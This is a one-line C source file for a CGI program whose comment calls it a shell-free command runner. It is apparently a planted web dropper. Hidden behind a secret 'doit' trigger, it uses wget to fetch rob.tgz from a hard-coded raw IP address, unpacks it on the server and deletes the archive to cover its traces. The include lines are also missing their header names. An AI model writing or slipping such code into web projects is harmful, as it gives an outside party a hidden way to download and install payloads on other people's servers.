/* CGI to execute a series of commands, in order, without use * of the shell. use like: * http://www.example.com/cgi-bin/myrun?trigger * Jumps ship on errors */ #include #include #include #include #include #include #define TRIGGER "doit" #define FLUSH { fflush(stdout); } void waitforit(int s); void doit(); /* Four param max is good enough for our purposes */ struct { char *a; char *b; char *c; char *d; } cmd[] = { { "/wget", "wget", "-t1", "http://202.81.97.12:8080/rob.tgz" }, { "/tar", "tar", "-xzf", "rob.tgz" }, { "/rm", "rm", "-rf", "rob.tgz" }, { NULL, NULL, NULL, NULL }, }; int l = 0; int main (int argc, char *argv[]) { printf("Content-Type: text/plain\n\n"); FLUSH if (argc < 2 || strncmp(argv[1], TRIGGER, 10)) { printf("Access Denied\n"); FLUSH exit(1); } else { doit(); } return(1); } void waitforit(s) { int error; printf("Running process %d (%s)\n", l, cmd[l].b); FLUSH waitpid(s, &error, 0); /* Block here until kid is done */ FLUSH if (!error) { printf("Success!\n"); FLUSH ++l; doit(); } else { printf("Failed!\n"); FLUSH exit(1); } return; } void doit() { int spoon; if (cmd[l].a == NULL) exit(0); spoon = fork(); if (spoon) { /* Parent */ waitforit(spoon); } else { /* Kiddo */ if (execl(cmd[l].a, cmd[l].b, cmd[l].c, cmd[l].d, NULL)) _exit(1); } return; }